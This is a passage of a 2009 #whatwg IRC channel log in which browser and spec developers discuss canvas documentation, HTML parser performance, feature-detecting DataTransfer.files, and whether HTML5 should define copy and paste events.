  1092. # [16:49] * Quits: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1093. # [16:50] <Philip`> You can blame him for everything
  1094. # [16:50] <AryehGregor> That's the awesome part about a single-editor spec, you always know who to blame.
  1095. # [16:51] <hsivonen> Mrmil: he has authored the spec text but he didn't design canvas
  1096. # [16:51] <AryehGregor> It's so hard to hold effective grudges against a whole Working Group or whatever for not reaching consensus to implement your pet change.
  1097. # [16:51] <Mrmil> Hehehe
  1098. # [16:52] <Mrmil> hsivonen: aha, looks pretty complex...
  1099. # [16:53] <Mrmil> Is HTML5 the only canvas api documentation so far?
  1100. # [16:53] * Joins: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1101. # [16:54] <Mrmil> (HTML5 spec I meant)
  1102. # [16:54] * Quits: mat_t (n=mattomas@91.189.88.12) ("This computer has gone to sleep")
  1103. # [16:54] <Philip`> Apple and Mozilla have documentation, and there's various tutorials and things out there
  1104. # [16:54] <hsivonen> Mrmil: Apple had docs when they did the first iteration of canvas
  1105. # [16:55] * Joins: mat_t (n=mattomas@91.189.88.12)
  1106. # [16:55] <zcorpan> i think opera has some canvas tutorials
  1107. # [16:56] <Mrmil> I'm following this one https://developer.mozilla.org/en/Canvas_tutorial but feel like I don't have legs and arms without having some sort of nice, organised and searchable documentation :)
  1108. # [16:56] * Joins: paulirish (n=paul_iri@12.33.239.250)
  1109. # [16:56] <zcorpan> e.g. http://dev.opera.com/articles/view/html-5-canvas-the-basics/
  1110. # [16:56] <zcorpan> Mrmil: there's a cheat sheet which might be helpful
  1111. # [16:57] <Mrmil> zcorpan: cool, you mean on the opera tut site?
  1112. # [16:57] <zcorpan> no here http://blog.nihilogic.dk/2009/02/html5-canvas-cheat-sheet.html
  1113. # [16:57] * paulirish is now known as paul_irish
  1114. # [16:57] * Quits: virtuelv (n=virtuelv@125.175.251.212.customer.cdi.no) (Read error: 110 (Connection timed out))
  1115. # [16:58] <Mrmil> zcorpan: ok, thx
  1116. # [16:59] <gsnedders> zcorpan: I can. I won't, at the moment. :P
  1117. # [16:59] <zcorpan> gsnedders: ok
  1118. # [17:00] <zcorpan> gsnedders: any progress on web dom core?
  1119. # [17:00] <gsnedders> zcorpan: I've done no web stuff this month
  1120. # [17:00] <zcorpan> ok
  1121. # [17:00] * Quits: othermaciej (n=mjs@c-69-181-42-237.hsd1.ca.comcast.net)
  1122. # [17:01] <gsnedders> Heck, I've not been at a computer that much this month
  1123. # [17:01] <gsnedders> (And no, I'm not writing web dom core tests on paper :P)
  1124. # [17:01] <annevk2> gsnedders, when are you back?
  1125. # [17:01] <gsnedders> annevk2: Oct 5th
  1126. # [17:01] <hsivonen> gsnedders: do you own Web DOM Core now?
  1127. # [17:02] <gsnedders> hsivonen: I hope I haven't quite made that mistake yet.
  1128. # [17:02] <annevk2> gsnedders, ah, I'll likely be around then
  1129. # [17:02] <gsnedders> annevk2: in se?
  1130. # [17:02] <annevk2> ja
  1131. # [17:03] * Quits: Maurice (n=ano@a80-101-46-164.adsl.xs4all.nl) ("Disconnected...")
  1132. # [17:04] * Joins: dglazkov (n=dglazkov@nat/google/x-areckotpbcimjggo)
  1133. # [17:06] * Joins: MikeSmith (n=MikeSmit@EM114-48-178-104.pool.e-mobile.ne.jp)
  1134. # [17:10] <jgraham> Is it me or are Google unusually bad at publishing accurate technical information
  1135. # [17:16] * Joins: mitnavn (n=mitnavn@unaffiliated/mitnavn)
  1136. # [17:16] * Quits: svl (n=me@f050215147.adsl.alicedsl.de) ("And back he spurred like a madman, shrieking a curse to the sky.")
  1137. # [17:21] * Quits: weinig (n=weinig@c-67-180-35-124.hsd1.ca.comcast.net)
  1138. # [17:23] * Parts: cpharmston (n=cpharmst@office.threespot.com)
  1139. # [17:28] * Joins: maotzetung_ (n=mao@dynamic-adsl-94-37-70-193.clienti.tiscali.it)
  1140. # [17:29] * Joins: fishd (n=darin@c-67-180-164-209.hsd1.ca.comcast.net)
  1141. # [17:29] <TabAtkins> Ooh, only a single spam made it through the filters last night. Those "you've won 1M british pounds" things are annoyingly good at getting through gmail's filters.
  1142. # [17:30] * gsnedders wonders what the best uni he could get into is…
  1143. # [17:30] <zcorpan> hmm, seems i was confusing the WorkerGlobalScope's onerror with the Worker's onerror
  1144. # [17:32] <hsivonen> I can again say that document.write() is an insane amount of work on top of the parser code
  1145. # [17:32] <zcorpan> still, having different code in self.onerror and dedicatedworker.onerror seems a bit weird
  1146. # [17:32] <hsivonen> I now have a setup going where the network stream and document.writes and parsed using separate parser core instances that sync their internal state appropriately
  1147. # [17:32] <jgraham> gsnedders: Depends if you mean |break in at night" or not
  1148. # [17:33] <gsnedders> jgraham: not :P
  1149. # [17:33] <hsivonen> I guess I should now try edge cases...
  1150. # [17:33] <jgraham> Well I don't recommend breaking in during the day
  1151. # [17:33] <jgraham> Although possibly if you just walk in and pretend to be a student no one will notice
  1152. # [17:33] <hsivonen> s/and parsed/are parsed/
  1153. # [17:33] <jgraham> Especially if you go to lectures but not any at 9am
  1154. # [17:34] <jgraham> And turn up late
  1155. # [17:34] <gsnedders> Obviously the solution is to have done better last year…
  1156. # [17:35] <jgraham> And not to ask questions in IRC channels with unhelpful people in
  1157. # [17:36] <zcorpan> jgraham: don't end a sentence with a preposition
  1158. # [17:36] <miketaylr> zcorpan: why wouldn't he want to?
  1159. # [17:37] * miketaylr kids
  1160. # [17:37] <zcorpan> jgraham: btw i fixed assertThrows
  1161. # [17:38] <jgraham> zcorpan: Nice.
  1162. # [17:38] * jgraham hasn't looked yet
  1163. # [17:39] * Quits: Lachy (n=Lachlan@pat-tdc.opera.com) ("This computer has gone to sleep")
  1164. # [17:41] <annevk2> hsivonen, this really gives a perf benefit?
  1165. # [17:41] * annevk2 would think the bottleneck is not parsing
  1166. # [17:41] <hsivonen> annevk2: dunno yet
  1167. # [17:42] <hsivonen> this will have sucked pretty big time if it won't
  1168. # [17:42] <hsivonen> but clearly the people who suggested parsing SVG islands as XML haven't tried doing this
  1169. # [17:42] <annevk2> parsing is so fast compared to layout and scripting...
  1170. # [17:43] <hsivonen> annevk2: the idea is to also speculate and start GETs early
  1171. # [17:43] <annevk2> hsivonen, heh, I never really took that seriously as I was pretty sure it wouldn't work
  1172. # [17:43] <jgraham> annevk2: Maybe if you have megabytes of SVG inline then parsing will become slow
  1173. # [17:44] <zcorpan> slower than megabytes of HTML?
  1174. # [17:44] * Joins: mpt (n=mpt@canonical/mpt)
  1175. # [17:45] <hsivonen> I expect the main benefit to come from being able to parse the tail of the document while the main thread waits for an external script to load
  1176. # [17:45] <zcorpan> i guess fixing up attributes is a bit of an overhead with svg
  1177. # [17:45] <hsivonen> but I don't have that part yet
  1178. # [17:45] <hsivonen> zcorpan: the attribute fixup takes no time
  1179. # [17:45] <hsivonen> zcorpan: it's been paid in RAM footprint
  1180. # [17:46] <zcorpan> hsivonen: ok, cool
  1181. # [17:46] <jgraham> zcorpan: I guess misnested formatting elements are the only really slow thing
  1182. # [17:46] <jgraham> and they're in HTML
  1183. # [17:47] * Quits: maotzetung (n=mao@host-78-15-44-112.cust-adsl.tiscali.it) (Read error: 110 (Connection timed out))
  1184. # [17:47] * Joins: raggsy (n=wraggsyb@host1.madgex.hosted.dataline.co.uk)
  1185. # [17:48] <raggsy> Hi, question: Is there currently any way of detecting the support of DataTransfer.files in the browser?
  1186. # [17:48] * Quits: sbublava (n=stephan@77.119.183.180.wireless.dyn.drei.com)
  1187. # [17:48] * Quits: fishd (n=darin@c-67-180-164-209.hsd1.ca.comcast.net) (Read error: 110 (Connection timed out))
  1188. # [17:49] <zcorpan> raggsy: sure, just check that .files is not undefined
  1189. # [17:50] <raggsy> zcorpan: to clarify, I mean onload. so that I can provide interface A if available, otherwise interface B.
  1190. # [17:50] <raggsy> dataTransfer.files comes with the event only as far as I know?
  1191. # [17:51] * Joins: tantek (n=tantek@adsl-69-106-229-240.dsl.pltn13.pacbell.net)
  1192. # [17:52] <zcorpan> hmm yeah
  1193. # [17:53] <raggsy> I'm testing dnd from the desktop & uploading via xhr2 and I'd like to provide the interface if the browser supports it, but I can see no way of detecting that without vendor/version sniffing...
  1194. # [17:54] <zcorpan> i thought maybe you could check the prototype of DataTransfer, but firefox throws
  1195. # [17:54] <zcorpan> and DataTransfer is undefined in webkit
  1196. # [17:54] <zcorpan> or maybe i have an old webkit
  1197. # [17:54] * Joins: Super-Dot (n=Super-Do@66.240.27.50)
  1198. # [17:55] * Joins: hobertoAtWork (n=hobertoa@gw1.mcgraw-hill.com)
  1199. # [17:55] <zcorpan> why does firefox throw? security reasons?
  1200. # [17:56] <zcorpan> it also throws for Event.prototype
  1201. # [17:56] * Quits: lazni (n=lazni@118.71.2.236) ("Leaving.")
  1202. # [17:57] * Joins: lazni (n=lazni@118.71.2.236)
  1203. # [17:58] <zcorpan> Event.prototype doesn't throw in webkit, though
  1204. # [17:58] * Quits: pesla (n=retep@procurios.xs4all.nl) ("( www.nnscript.com :: NoNameScript 4.21 :: www.esnation.com )")
  1205. # [17:59] * Quits: lazni (n=lazni@118.71.2.236) (Read error: 54 (Connection reset by peer))
  1206. # [17:59] <zcorpan> raggsy: in theory you could check DataTransfer.prototype.files
  1207. # [18:00] * Parts: Mrmil (n=ut_ollie@host-77-236-204-8.blue4.cz)
  1208. # [18:01] * Joins: Lachy (n=Lachlan@85.196.122.246)
  1209. # [18:01] <jgraham> zcorpan: Have you checked it actually defines the properties on the prototype object rather than somewhere odd
  1210. # [18:01] * Quits: Super-Dot (n=Super-Do@66.240.27.50)
  1211. # [18:01] <Philip`> hsivonen: You should have written the parser and browser in Haskell, so you can simply fork the state before speculatively parsing and throw it all away if a script does something funny
  1212. # [18:01] <zcorpan> jgraham: how would i check that?
  1213. # [18:02] * Quits: mpt (n=mpt@canonical/mpt) (Read error: 148 (No route to host))
  1214. # [18:02] <gsnedders> Is it Thursday or Friday today?
  1215. # [18:03] <Philip`> gsnedders: Yes
  1216. # [18:03] <Rik|work> depends on your local time I guess
  1217. # [18:03] <gsnedders> Which day of the week is it currently in UTC+1?
  1218. # [18:03] <zcorpan> http://isitfriday.biz/
  1219. # [18:03] <Philip`> gsnedders: Thursday
  1220. # [18:04] <gsnedders> zcorpan, Philip` Thank you.
  1221. # [18:04] * Joins: weinig (n=weinig@17.203.15.140)
  1222. # [18:04] * Joins: othermaciej (n=mjs@nat/apple/x-famjbuuzvivnfcid)
  1223. # [18:04] <Philip`> Glad to be of assistance
  1224. # [18:07] <jgraham> zcorpan: Seems to be some security reasons, yes
  1225. # [18:10] <raggsy> zcorpan: sorry you lost me a bit there. Are you & jgraham saying it's due to security reasons that the browser won't reveal if it supports DataTransfer.files before the event?
  1226. # [18:12] * Joins: mpt (n=mpt@canonical/mpt)
  1227. # [18:15] * Joins: onar_ (n=onar@17.226.23.126)
  1228. # [18:17] * Quits: mpt (n=mpt@canonical/mpt) (Remote closed the connection)
  1229. # [18:19] <jgraham> raggsy: Doing "files" in DataTransfer.prototype works
  1230. # [18:19] <jgraham> (was it obvious which bit of that was code?)
  1231. # [18:20] <jgraham> if("files" in DataTransfer.prototype) {/*there is a files property*/}
  1232. # [18:20] * Joins: Maurice (i=copyman@5ED548D4.cable.ziggo.nl)
  1233. # [18:21] <jgraham> What doesn't work is tro try doing if(DataTransfer.prototype.files !== undefined){}
  1234. # [18:22] * Joins: dbaron (n=dbaron@c-98-234-51-190.hsd1.ca.comcast.net)
  1235. # [18:22] <raggsy> jgraham: got it. I was trying typeof and getting nothing back.
  1236. # [18:22] * Quits: onar_ (n=onar@17.226.23.126)
  1237. # [18:24] * Joins: ap (n=ap@17.246.19.174)
  1238. # [18:28] * Joins: virtuelv (n=virtuelv@125.175.251.212.customer.cdi.no)
  1239. # [18:30] * Joins: zalan (n=zalan@catv-89-135-110-21.catv.broadband.hu)
  1240. # [18:31] * Quits: raggsy (n=wraggsyb@host1.madgex.hosted.dataline.co.uk)
  1241. # [18:32] * Joins: mpt (n=mpt@canonical/mpt)
  1242. # [18:32] * Quits: tantek (n=tantek@adsl-69-106-229-240.dsl.pltn13.pacbell.net)
  1243. # [18:33] * Quits: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1244. # [18:35] * Parts: Midler (n=midler@94.191.148.238.bredband.tre.se) ("Leaving.")
  1245. # [18:39] * Joins: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  1246. # [18:40] * Joins: mlpug (n=mlpug@a88-115-164-40.elisa-laajakaista.fi)
  1247. # [18:45] * Quits: Phae (n=phaeness@gateb.mh.bbc.co.uk)
  1248. # [18:47] * Quits: erlehmann (n=erlehman@tmo-104-233.customers.d1-online.com) (Read error: 110 (Connection timed out))
  1249. # [18:48] * Joins: jwalden (n=waldo@nat/mozilla/x-umgrhqucpraeceog)
  1250. # [18:50] * Joins: remysharp (n=remyshar@remysharp.plus.com)
  1251. # [18:51] * Joins: smaug (n=chatzill@cs181150024.pp.htv.fi)
  1252. # [18:52] * Joins: GPHemsley (n=GPHemsle@pdpc/supporter/student/GPHemsley)
  1253. # [18:53] * Joins: mpt_ (n=mpt@canonical/mpt)
  1254. # [18:58] * Quits: mpt (n=mpt@canonical/mpt) (Read error: 113 (No route to host))
  1255. # [18:58] * Quits: maikmerten (n=maikmert@BAE1ac4.bae.pppool.de) (Read error: 60 (Operation timed out))
  1256. # [18:59] * Joins: maikmerten (n=maikmert@Z8256.z.pppool.de)
  1257. # [19:00] * Hixie prepares to get depressed
  1258. # [19:02] <othermaciej> what do you expect to depress you? usability testing?
  1259. # [19:02] <Hixie> yeah
  1260. # [19:02] <Hixie> wow you're up early
  1261. # [19:03] <othermaciej> HTML WG telecon today
  1262. # [19:04] * Quits: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  1263. # [19:05] <hsivonen> Hixie: today is the big day?
  1264. # [19:05] <hsivonen> the usability test day that is
  1265. # [19:06] <Hixie> day 1 of 2
  1266. # [19:06] <hsivonen> Hixie: can you disclose how you recruit participants?
  1267. # [19:06] <Rik|work> what usability tests ?
  1268. # [19:07] <Hixie> hsivonen: no idea, actually.
  1269. # [19:07] <Hixie> hsivonen: we have a recruiting team or something who do that kind of thing
  1270. # [19:07] <Hixie> hsivonen: we give them some criteria, and they bring back some people
  1271. # [19:08] <Philip`> Can you disclose the criteria?
  1272. # [19:08] <hsivonen> Hixie: that's a convenient abstraction :-)
  1273. # [19:08] <Hixie> Philip`: web developers who know and use CSS, and aren't involved in the html5 development process at all
  1274. # [21:08] * Disconnected
  1275. # [21:10] * Attempting to rejoin channel #whatwg
  1276. # [21:10] * Rejoined channel #whatwg
  1277. # [21:10] * Topic is 'WHATWG (HTML5) -- http://www.whatwg.org/ -- Logs: http://krijnhoetmer.nl/irc-logs/ -- Please leave your sense of logic at the door, thanks!'
  1278. # [21:10] * Set by annevk3 on Wed Sep 09 23:23:54
  1279. # [21:10] * Joins: Super-Dot (n=Super-Do@66-240-27-50.isp.comcastbusiness.net)
  1280. # [21:10] * Joins: dbaron (n=dbaron@nat/mozilla/x-xwpqfvgweqdgfmxr)
  1281. # [21:15] * Quits: Rik|work (n=Rik|work@fw01d.skyrock.net) (Read error: 104 (Connection reset by peer))
  1282. # [21:15] * Joins: Rik|work (n=Rik|work@fw01d.skyrock.net)
  1283. # [21:16] * Joins: maikmerten_ (n=maikmert@Zbaab.z.pppool.de)
  1284. # [21:19] * Quits: kristallpirat (n=kristall@c-base/crew/kristall) ("Wünsche weiterhin guten Flug")
  1285. # [21:22] * Joins: vvv (n=vvv@mediawiki/VasilievVV)
  1286. # [21:22] * Quits: kinetik (n=kinetik@121.98.132.55) (Read error: 60 (Operation timed out))
  1287. # [21:24] * Quits: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1288. # [21:24] * Joins: maikmerten__ (n=maikmert@89.56.56.210)
  1289. # [21:25] * Joins: kinetik (n=kinetik@121.98.132.55)
  1290. # [21:28] * Joins: mpilgrim_ (n=mpilgrim@rrcs-96-10-240-189.midsouth.biz.rr.com)
  1291. # [21:28] * Quits: mpilgrim (n=mpilgrim@rrcs-96-10-240-189.midsouth.biz.rr.com) (Read error: 104 (Connection reset by peer))
  1292. # [21:28] * mpilgrim_ is now known as mpilgrim
  1293. # [21:29] <Philip`> miketaylr: You could write <table><tr><td>Slippery content <!-- | --></table> as a barrier to stop the content looking like it'll slide out easily
  1294. # [21:29] <miketaylr> :)
  1295. # [21:29] <miketaylr> or i could just hold my laptop more steadily
  1296. # [21:32] * Quits: maikmerten (n=maikmert@Z8256.z.pppool.de) (Read error: 110 (Connection timed out))
  1297. # [21:33] * maikmerten__ is now known as maikmerten
  1298. # [21:35] * Quits: maikmerten_ (n=maikmert@Zbaab.z.pppool.de) (Read error: 110 (Connection timed out))
  1299. # [21:36] * Quits: mitnavn (n=mitnavn@unaffiliated/mitnavn) (Read error: 131 (Connection reset by peer))
  1300. # [21:38] * aroben|lunch is now known as aroben
  1301. # [21:39] * Quits: SamerZ (n=SamerZ@CPE00222d5410b8-CM00222d5410b5.cpe.net.cable.rogers.com)
  1302. # [21:53] * Quits: cohitre (n=cohitre@64-40-56-46-dsl.itltd.net)
  1303. # [21:55] * Joins: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1304. # [22:02] * Joins: benward (n=benward@98.210.154.133)
  1305. # [22:02] * Quits: hober (n=ted@unaffiliated/hober) (Remote closed the connection)
  1306. # [22:03] * Joins: hober (n=ted@unaffiliated/hober)
  1307. # [22:04] * Joins: cohitre (n=cohitre@c-24-18-158-106.hsd1.wa.comcast.net)
  1308. # [22:05] * Quits: erlehmann (n=erlehman@echelon.ext.c-base.org) ("Ex-Chat")
  1309. # [22:05] * Joins: erlehmann (n=erlehman@echelon.ext.c-base.org)
  1310. # [22:05] * Joins: kristallpirat (n=kristall@c-base/crew/kristall)
  1311. # [22:05] * Joins: dpranke (n=Adium@nat/google/x-awoppqbsstbmevkm)
  1312. # [22:06] * Quits: hober (n=ted@unaffiliated/hober) (Remote closed the connection)
  1313. # [22:09] * Quits: benward_ (n=benward@nat/yahoo/x-lkzvmzlqucnswtbt) (Read error: 110 (Connection timed out))
  1314. # [22:09] * Quits: zcorpan (n=zcorpan@c83-252-193-59.bredband.comhem.se)
  1315. # [22:16] * Quits: Super-Dot (n=Super-Do@66-240-27-50.isp.comcastbusiness.net)
  1316. # [22:17] * Quits: Midler (n=midler@95.209.69.148) ("Leaving.")
  1317. # [22:19] * Joins: Super-Dot (n=Super-Do@66-240-27-50.isp.comcastbusiness.net)
  1318. # [22:25] * Joins: othermaciej_ (n=mjs@17.246.18.149)
  1319. # [22:28] * Quits: zdobersek (n=zan@cpe-92-37-73-75.dynamic.amis.net) ("Leaving.")
  1320. # [22:28] * Quits: othermaciej (n=mjs@nat/apple/x-famjbuuzvivnfcid) (Nick collision from services.)
  1321. # [22:28] * othermaciej_ is now known as othermaciej
  1322. # [22:32] * Quits: mlpug (n=mlpug@a88-115-164-40.elisa-laajakaista.fi) (Remote closed the connection)
  1323. # [22:33] <othermaciej> Hixie: does HTML5 specify "cut", "copy", "paste" and "beforepaste" events?
  1324. # [22:34] * Quits: smaug (n=chatzill@cs181150024.pp.htv.fi) ("ChatZilla 0.9.85 [Firefox 3.7a1pre/20090916125549]")
  1325. # [22:36] * drunknbass_work is now known as drunknbass_work|
  1326. # [22:36] * Quits: ROBOd (n=robod@89.122.216.38) ("http://www.robodesign.ro")
  1327. # [22:44] <erlehmann> ahaha http://evan-roth.com/all-tags.html
  1328. # [22:44] * Quits: drunknbass_work| (n=aaron@pool-71-107-253-243.lsanca.dsl-w.verizon.net) ("Leaving...")
  1329. # [22:46] <Philip`> <!-- Using (almost) all non-depriciated HTML tags from http://www.w3schools.com/tags/default.asp -->
  1330. # [22:46] <Philip`> That's a good start
  1331. # [22:47] <Dashiva> <script> kinda ruins it all by itself
  1332. # [22:50] <Steve^> only 49 validation errors
  1333. # [22:50] <Steve^> *47
  1334. # [22:53] * erlehmann is now known as plomfake
  1335. # [22:54] <Philip`> Steve^: On validator.nu?
  1336. # [22:54] <Philip`> That number is meaningless because some errors are masking lots of other errors
  1337. # [22:57] * Joins: benward_ (n=benward@nat/yahoo/x-nihjvjkbojugzmft)
  1338. # [22:59] * Quits: Maurice (i=copyman@5ED548D4.cable.ziggo.nl)
  1339. # [23:02] * plomfake is now known as plomlompom
  1340. # [23:02] * plomlompom is now known as zeitrafferin
  1341. # [23:03] * zeitrafferin is now known as plomlompom
  1342. # [23:03] * Quits: virtuelv (n=virtuelv@125.175.251.212.customer.cdi.no) (Read error: 110 (Connection timed out))
  1343. # [23:03] * plomlompom is now known as rinrin
  1344. # [23:04] * rinrin is now known as al-vat
  1345. # [23:04] * al-vat is now known as al-var
  1346. # [23:04] * Quits: BlurstOfTimes (n=blurstof@168.203.117.59) ("Leaving...")
  1347. # [23:05] * al-var is now known as plom[fake]
  1348. # [23:06] <Steve^> Philip`, indeed
  1349. # [23:06] * plom[fake] is now known as erlehmann
  1350. # [23:07] * Quits: benward (n=benward@98.210.154.133) (Read error: 110 (Connection timed out))
  1351. # [23:09] <Hixie> othermaciej: no, it just reuses the drag-and-drop events
  1352. # [23:10] <othermaciej> Hixie: shouldn't "cut", "copy", "paste" and "beforepaste" be required for implementations at least, for compatibility with existing content?
  1353. # [23:10] * Quits: zalan (n=zalan@catv-89-135-110-21.catv.broadband.hu) (Read error: 110 (Connection timed out))
  1354. # [23:10] * ap|away is now known as ap
  1355. # [23:14] <othermaciej> Hixie: also, even if it makes sense to say everything draggable should be copyable, I don't think it makes sense to require that every time in the UI you can use the Copy command, you can also drag
  1356. # [23:14] * Joins: Super-Dot_ (n=Super-Do@66-240-27-50.isp.comcastbusiness.net)
  1357. # [23:14] <othermaciej> that's not how native UIs work
  1358. # [23:15] * Joins: jorlow (n=jorlow@nat/google/x-afodrkyzbyzcoakh)
  1359. # [23:15] <Hixie> it's not clear to me how else to make copy and paste work
  1360. # [23:15] * Parts: solepixel (n=solepixe@66.182.175.130)
  1361. # [23:15] <hsivonen> has anyone yet done a post mortem on how local storage got into so many browsers before the concurrency problems were considered on the current level of detail?
  1362. # [23:15] * Quits: Super-Dot (n=Super-Do@66-240-27-50.isp.comcastbusiness.net) (Read error: 104 (Connection reset by peer))
  1363. # [23:15] * Super-Dot_ is now known as Super-Dot
  1364. # [23:16] * Quits: jorlow (n=jorlow@nat/google/x-afodrkyzbyzcoakh) (Remote closed the connection)
  1365. # [23:16] * Joins: jorlow (n=jorlow@nat/google/x-dlxkwrikrkbiznek)
  1366. # [23:16] <othermaciej> Hixie: how about via the copy/paste events that browsers already support and which are used by content?
  1367. # [23:18] * Quits: MikeSmith (n=MikeSmit@EM114-48-178-104.pool.e-mobile.ne.jp) (Read error: 110 (Connection timed out))
  1368. # [23:29] <Philip`> hsivonen: Maybe the process was something like "Ooh, shiny! *hack* *hack* *hack* *release*"?
  1369. # [23:36] <Hixie> othermaciej: are those good? it seems like they would encourage authors to only support drag and drop and not copy and paste, since they'd have to implement both to get both.
  1370. # [23:36] <Hixie> hsivonen: i don't know that there's more to it than Philip` said
  1371. # [23:36] <othermaciej> Hixie: I don't see how that conclusion follows - one could certainly support copy/paste events while making drag/drop events also work via the copy/paste UI
  1372. # [23:37] <othermaciej> Hixie: in fact, that is what browsers will have to do anyway if they implement the HTML5 spec as written and choose not to break existing content
  1373. # [23:37] <othermaciej> Hixie: so it would be nice if there was a spec that describes how it works
  1374. # [23:37] <Hixie> othermaciej: is there much existing content using the current events? i haven't looked into it much.
  1375. # [23:37] * Joins: MikeSmith (n=MikeSmit@EM114-48-15-242.pool.e-mobile.ne.jp)
  1376. # [23:37] <Hixie> othermaciej: i guess it's something to add to the list http://wiki.whatwg.org/wiki/Companion_specifications
  1377. # [23:37] * Quits: erlehmann (n=erlehman@echelon.ext.c-base.org) (Read error: 110 (Connection timed out))
  1378. # [23:39] * paul_irish is now known as nlogpaul
  1379. # [23:39] * miketaylr is now known as nlogtaylr
  1380. # [23:44] <othermaciej> Hixie: you have to specify how they are sequenced with drag/drop events, if both occur in a copy/paste sequence - seems hard to do in a separate spec
  1381. # [23:44] <Hixie> probably
  1382. # [23:44] <Hixie> not gonna happen in html5 :-)
  1383. # [23:44] <Hixie> happy to do it in the next version though
  1384. # [23:45] <othermaciej> it's a potential interop problem for implementing what the spec says for drag/drop events
  1385. # [23:45] <othermaciej> (though I don't know if implementations will actually be willing to hook up drag & drop events to the copy/paste UI)
  1386. # [23:45] * Quits: maikmerten (n=maikmert@89.56.56.210) (Remote closed the connection)
  1387. # [23:45] * nlogtaylr is now known as miketaylr
  1388. # [23:45] <othermaciej> anyway I'll send email or file a bug or something
  1389. # [23:46] * nlogpaul is now known as paul_irish
  1390. # [23:46] <othermaciej> I do believe there is significant content using the copy/paste events, but I don't have a quantitative study at hand
  1391. # [23:47] <Philip`> Would that be stuff like oncopy in http://philip.html5.org/data/attr-count-pages-dotbot.txt (on ~0.1% of pages)?
  1392. # [23:48] <Hixie> well you have to discount all the cases of pages that are just stopping people from copying
  1393. # [23:48] <Hixie> or stopping people from pasting (e.g. into password fields)
  1394. # [23:52] * Parts: pmuellr (n=pmuellr@nat/ibm/x-ehhpdasxyfxxxmbb)
  1395. # [23:59] <Philip`> Oh, true
  1396. # Session Close: Fri Sep 25 00:00:00 2009

The end :)